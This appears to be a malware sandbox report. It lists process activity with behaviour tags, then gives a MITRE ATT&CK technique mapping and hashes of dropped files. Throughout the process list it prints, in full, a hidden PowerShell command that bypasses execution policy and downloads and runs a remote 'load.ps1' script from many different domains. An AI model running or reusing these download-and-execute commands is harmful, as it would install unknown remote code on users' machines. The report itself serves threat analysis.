C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:664

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')"
1⤵
PID:4004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4040

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')"
1⤵
PID:4672

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4116

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3116

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')"
1⤵
PID:5544

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')"
1⤵
PID:640

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5744

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')"
1⤵
PID:5676

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5960

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
1⤵
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4760

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')"
1⤵
PID:4812

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2188

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')"
1⤵
PID:2108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5452

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')"
1⤵
PID:1248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6068

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5544

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')"
1⤵
PID:6436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6444

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6176

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')"
1⤵
PID:7104

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6320

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')"
1⤵
PID:6208

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7960

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')"
1⤵
PID:8100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:8132

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6984

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')"
1⤵
PID:7248

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6964

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')"
1⤵
PID:7672

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:7228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7488

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')"
1⤵
PID:7540

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:7324

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')"
1⤵
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6904

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7444

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')"
1⤵
PID:3060

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:8108

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4624

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')"
1⤵
PID:6836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7800

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7508

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4560

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')"
1⤵
PID:4732

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:6140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:8056

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')"
1⤵
PID:7500

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2952

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6404

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5572

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')"
1⤵
PID:7932

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5600

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')"
1⤵
PID:7816

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3648

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:7300

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')"
1⤵
PID:5080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5388

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://gaylife.gr.com/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')"
1⤵
PID:6760

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:7580

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')"
1⤵
PID:5648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5020

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4776

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')"
1⤵
PID:6916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:7736

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4968

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')"
1⤵
PID:8008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1568

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:220

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')"
1⤵
PID:4332

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 e6d06c37714fc052032aa58f139f4a5d3e920489fc290da5b4717ec0c6a20705
MD5 65c0e4b8b2cf4435dd64a66e7b8e3d80
SHA1 7c44e16bdb81efd05f5fc111da3d7b9abc0e1401
SHA512 b29e84426e5cfdd844e334dcfb9ec57f5713a74266d70cea5cb8caacc98d2a3fb4bac8558173c88e872e359b315fc8886c4680a5a5e562293e5e5d2145ae123f
SSDEEP 1536:LflJdDiFHzdysYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzdzYLYkzvHgfKQNUpeE711kz
TLSH
T13D537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download